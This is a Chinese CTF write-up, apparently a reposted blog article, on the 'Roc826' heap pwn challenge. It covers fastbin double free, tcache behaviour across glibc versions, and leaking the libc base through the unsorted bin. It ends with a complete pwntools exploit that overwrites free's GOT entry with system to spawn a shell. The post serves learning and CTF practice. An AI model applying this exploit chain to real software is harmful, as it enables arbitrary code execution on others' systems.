ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

一道堆方向的pwn(double free & unsorted bins)

2021-10-17 12:34:48  阅读:180  来源: 互联网

标签:libc double 地址 free fastbins add fd pwn


一道堆方向的pwn(double free & unsorted bins)

在某博客上看到了一道堆的题,博主说是入门的,嗯,那正好适合我,于是我花了一周终于出结果了。。。。。。
来看看我都遇到了什么问题
另外,希望你在看这篇文章之前有了解过堆的数据结构

做题环境

Ubuntu 20.04.3 LTS,这是我在微软商店下载的子系统,也是一切万恶之源的开始
题目:Roc826

什么是double free

希望再次之前,你已经知道什么是堆了。
double free就是对一个堆free两次
在堆中,free后堆有这么几个去向

bins描述
tcachebins存在与glibc2.7及以上版本,他的优先级比fastbins高
fastbins是个单链表,存放几个定长的被释放的堆
unsortedbin存的是不在前两个存储范围的被释放的堆

对于smallbins和largebins不做介绍,据说是在unsortedbin在被遍历的时候放入small或者large中的

根据大部分对double free的介绍来看,利用最多的就是第一次free,堆进入fastbins,第二次free后改变fd指针指向。
在做题时,由于我的子系统版本过高,glibc版本是2.31,因此存在tcachebins,也就是free之后的堆不会进入fastbins

  • 来个例子
int main()
{
        void *a = malloc(0x60);
        void *b = malloc(0x60);
        free(a);
        free(b);
        free(a);
        return 0;
}

gdb调试,执行两次malloc
在这里插入图片描述查看目前堆

Allocated chunk | PREV_INUSE
Addr: 0x8005290
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x8005300
Size: 0x71

继续跟进执行一次free
查看对结果如下,第一个堆状态为free,并且在tcache中

Free chunk (tcache) | PREV_INUSE
Addr: 0x8005290
Size: 0x71
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x8005300
Size: 0x71

再看看bins,可见tcachebins的优先级比fastbins高

pwndbg> bins
tcachebins
0x70 [  1]: 0x80052a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0

那么问题来了,tcachebins下的堆能进行二次free吗,我特意试了一下,不行,会报错,也就意味着高版本glibc做不了这道题,于是一天过去,我想到了换个glibc来调试。

换个版本的glibc来编译运行一下

gcc test.c -m64 -z execstack -fno-stack-protector -no-pie -o test -Wl,--rpath=dir/ -Wl,--dynamic-linker=dir/ld-linux-x86-64.so.2
//指定glibc版本编译

于是我再一次对这个程序进行调试,运行到第一次free后查看堆状态,可见第一个堆进入了fastbins

pwndbg> heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x405000
Size: 0x71
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x405070
Size: 0x71

查看bins,发现也不存在tcachebins

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x405000 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x0

继续跟进,看第二次free后的fastbins,如下

0x70: 0x405070 —▸ 0x405000 ◂— 0x0

此时的fastbins大致如下(fastbins是头插的)
在这里插入图片描述

  • double free

现在来看看double free,根据前面演示的free可知,free进入fastbins后形成的是一个单链表,在执行free(b)后,b的fd指针指向了a,a的fd是指向一个空指针也就是没有。
那么,如果再对a执行free,a的fd就会指向b
bins如下

0x70: 0x405000 —▸ 0x405070 ◂— 0x405000

结构大致如下
在这里插入图片描述由于a的fd改变了并且指向b,那么尾部那个a的fd也会改变,因为他们是同一个。
此时有两个疑问

  • a的fd指向b有用吗?
  • 怎么利用?

首先,a的fd指向b在这里没有什么意义,利用方式是malloc(a),然后修改a中fd的那个字段,那么对于上图最后那个a就会指向修改过后的一个地址。
如果修改的这个值是内存中的一个地址,那么就有机会在这个地址开辟堆空间,并写数据。

好了,到这里应该差不多知道double free的意义了,就是为了在两次free后控制它的fd字段,进而去控制一块内存空间

  • 演示一下修改这个fd

首先看看fd在哪
在这里插入图片描述
可以看到fd的位置前八个字节(0x405000这开始的10个字节不是这个堆的数据部分)
现在修改fd字段,修改为如下片段

int *a = malloc(0x60);
        void *b = malloc(0x60);

        free(a);
        free(b);
        free(a);

        *a = 0x11111111;

运行后查看a的堆空间,可以看到该字段修改为自己想要的值了
在这里插入图片描述

有了double free我们能够对任意可写地址进行写操作,那么我们可以修改got表中某函数的地址为system的地址,从而就能够调用system函数了

unsorted bins

知道了double free用法后,来看看unsorted bins
double free是最终的利用,但在此之前我们不知道system函数在哪,就需要知道libc基地址,这里就需要借助unsorted bins来得到libc的基地址了

首先unsorted bins存储的是超过了fastbins设定的堆大小的空闲堆
使用如下例子,为a分配0x80大小,但实际堆空间有0x90

这里需要注意unsorted bins在堆释放时会进行前后空闲堆合并,因此需要再申请一个堆空间给b,让a的堆空间与空闲堆空间隔离开,保证free(a)后不合并。

int main()
{
        void *a = malloc(0x80);
        void *b = malloc(0x80);
        free(a);
        return 0;
}

运行后查看bins,可以看到进入了unsorted bins中
在这里插入图片描述
此外还能看到指向的地址0x7fffff3f4b78 (main_arena+88),其中main_arena是malloc实现过程中的一个结构体,他是存在于libc库中的,我们可以通过这个地址来获取libc的基地址
main_arena在libc中的malloc_trim中有使用,如下面的dword_3C4B20
在这里插入图片描述
他在我这里使用的libc版本中的地址如下

data:00000000003C4B20 dword_3C4B20
那么libc的基地址 = addr(main_arena+88) - 88 - addr(dword_3C4B20) 
= 0x7fffff3f4b78 - 88 - 0x3C4B20 = 0x7fffff030000

验证一下,查看vmmap,基地址正确
在这里插入图片描述

好了,到现在libc基地址有了,我们也能控制got表,那么就能拿到shell了
接下来看看我做的这道题吧。。。

Roc826

ida查看一下主函数
在这里插入图片描述
menu是菜单,readi返回终端输入的数字这两个不说了
先看看add函数
在这里插入图片描述list是存放申请得到的堆的地址的一个数组,我们来添加两个堆看看

def add(size, context = 'aaaaaaaa'):
    p.recvuntil(':')
    p.sendline('1')
    p.recvline()
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(context)

add(0x10)
add(0x10)

之后查看list,看到两个堆的地址
在这里插入图片描述

add函数开辟堆空间,将堆地址保存到list中,同时通过read_n写入content

然后来看看dele函数
在这里插入图片描述首先读取需要删除的序号,然后判断list数组中该处是否为空,然后才执行free操作
那么问题来了

if ( (&list)[v1] )

这一句,只是判断list中是否有值,也就是list[v1]是否为空,并不能判断该处的堆是否是空闲,并且free只对堆空间进行操作,不会堆list造成影响
也就是说我执行free后,list数组是没有变化的,那么我就能够进行多次free操作
看看下面执行后,查看一下list

def dele(id):
    p.recvuntil(':')
    p.sendline('2')
    p.recvline()
    p.sendline(str(id))

add(0x10)
add(0x10)
dele(0)

能够发现的是list[0]处还是原来堆的地址
在这里插入图片描述

那么我们就可以对该堆进行二次释放,从而可以实现double free了,再用add函数就可以修改fd指向,并进行任意地址写。

现在还差一点,就是获取libc基地址,来看看最后一个函数show
在这里插入图片描述
show函数会打印content内容,也就是从堆地址开始到00截断的内容
那么我们可以用它来打印出main_arena + 88的地址了,也就是打印出free后进入unsorted bins的那个堆的内容

那么这道题的思路就是

  1. malloc一个超过fastbins的堆大小
  2. malloc两个free后能进入fastbins的堆,来实现double free
  3. 接着先free第一个堆,然后使用show函数打印出main_arena+88的地址,算出libc基地址
  4. 利用double free修改got表,这里修改free的地址指向了system
  5. 再次申请一个堆,存放“/bin/sh”
  6. 指向dele操作,从而 执行system("/bin/sh")

首先得到libc基地址,操作如下

def show(id):
    p.recvuntil(':')
    p.sendline('3')
    p.recvline()
    p.sendline(str(id))
    p.recvuntil('content:')

add(0x80)
add(0x58)
dele(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\00')) - 88 - 0x3c4b20
print(hex(libc_base))

输出结果 0x7f17c1a70000

接着进行double free,

add(0x58)
add(0x58)
dele(1)
dele(2)
dele(1)
debug()

查看fastbins发现double free成功

0x60: 0x7fffe9d35090 —▸ 0x7fffe9d35000 ◂— 0x7fffe9d35090

接下来就行覆写got表中free地址

sys_addr = libc_base + libc.sym['system']
free_got = elf.got['free']
print(hex(free_got))
add(0x58, p64(free_got - 0x1e))
add(0x58)
add(0x58)
add(0x58, 14 * 'a' + p64(sys_addr)[:6])
debug()

来解释一下为什么free_got要减去0x1e,首先free_got处是我们要覆写的地方,然而fd指针指向的是堆最开头的那个位置,也就是包含大小那一段,如果直接以free_got作为fd,那么在覆写的时候其实是从free_got + 0x10处开始写的,这样就无法覆写free了,当然,也可以去覆写在free之后的函数
另外,减去0x1e并不只是为了调整堆申请的地址,同时也是为了保证size字段与自己要添加大小要一致,否则申请堆会出错

如下,查看free_got - 0x1e处的内容,可以看到末尾两个是0x60
我们申请的堆大小是0x58,但这里需要对齐,申请得到的大小就是0x60

在这里插入图片描述

那么为什么一定要是0x60呢?
因为我们此时的fastbins是0x60这一块的,否则无法调用fastbins

关于0x50和0x58分配时为什么都是0x60的空间
首先0x50好理解,因为0x50是申请的数据段大小,知道堆结结构的同学知道,他前面还有0x10个字节,其中后八个字节存的是size字段
那么对于0x58呢?
其实我也不是特别清楚为什么这里只加了0x8进去,而不是加0x10,需要0x68的大小,姑且认为pre_size字段作为了前一个chunk的数据部分,所以就只加了0x8个字节

好了,free的got表被覆写了,接着就是需要执行system(“bin/sh”)函数,
因此就需要假装执行free("/bin/sh")

add(0x80, b'/bin/sh\00')
dele(8)
p.interactive()

另外添加一个堆,内容是“/bin/sh”
接着调用dele执行free,就可以得到shell了

结果!!!!!!!!
在这里插入图片描述

这里我想了很久很久,最终我给自己的解释是,libc版本问题
虽然我指定了libc本版来调试,但不代表之后用的这个libc
所以
我换了个ubuntu16的环境
然后就可以了在这里插入图片描述

最后

这道题搞了我很久,心态炸过好几次,很多原因都是因为版本问题还有一些细节问题,希望各位能够看懂,也希望能够解决各位的一点困惑,欢迎提问。

附上exp

from pwn import *

#p = process(["./ld-2.23.so", "./Roc826"],env={"LD_PRELOAD":"./libc.so.6"})
p = process("./Roc826")
elf = ELF('./Roc826')
libc = ELF('./libc.so.6')
def debug():
    gdb.attach(p)

def add(size, context = b'aaaaaaaa'):
    p.recvuntil(b':')
    p.sendline(b'1')
    p.recvline()
    p.sendline(str(size))
    p.recvuntil(b':')
    p.sendline(context)

def dele(id):
    p.recvuntil(b':')
    p.sendline(b'2')
    p.recvline()
    p.sendline(str(id))

def show(id):
    p.recvuntil(b':')
    p.sendline(b'3')
    p.recvline()
    p.sendline(str(id))
    p.recvuntil(b'content:')

add(0x80)
add(0x58)

dele(0)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\00')) - 88 - 0x3c4b20
print(hex(libc_base))

add(0x58)
add(0x58)
dele(1)
dele(2)
dele(1)

sys_addr = libc_base + libc.sym['system']
free_got = elf.got['free']
print(hex(sys_addr))
add(0x58, p64(free_got - 0x1e))
print(hex(free_got - 0x10))
add(0x58)
add(0x58)
debug()
add(0x58,14 * b'a' + p64(sys_addr)[:6])
add(0x80, b'/bin/sh\00')
debug()
dele(8)
p.interactive()

标签:libc,double,地址,free,fastbins,add,fd,pwn
来源: https://blog.csdn.net/F_Day_/article/details/120776218

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有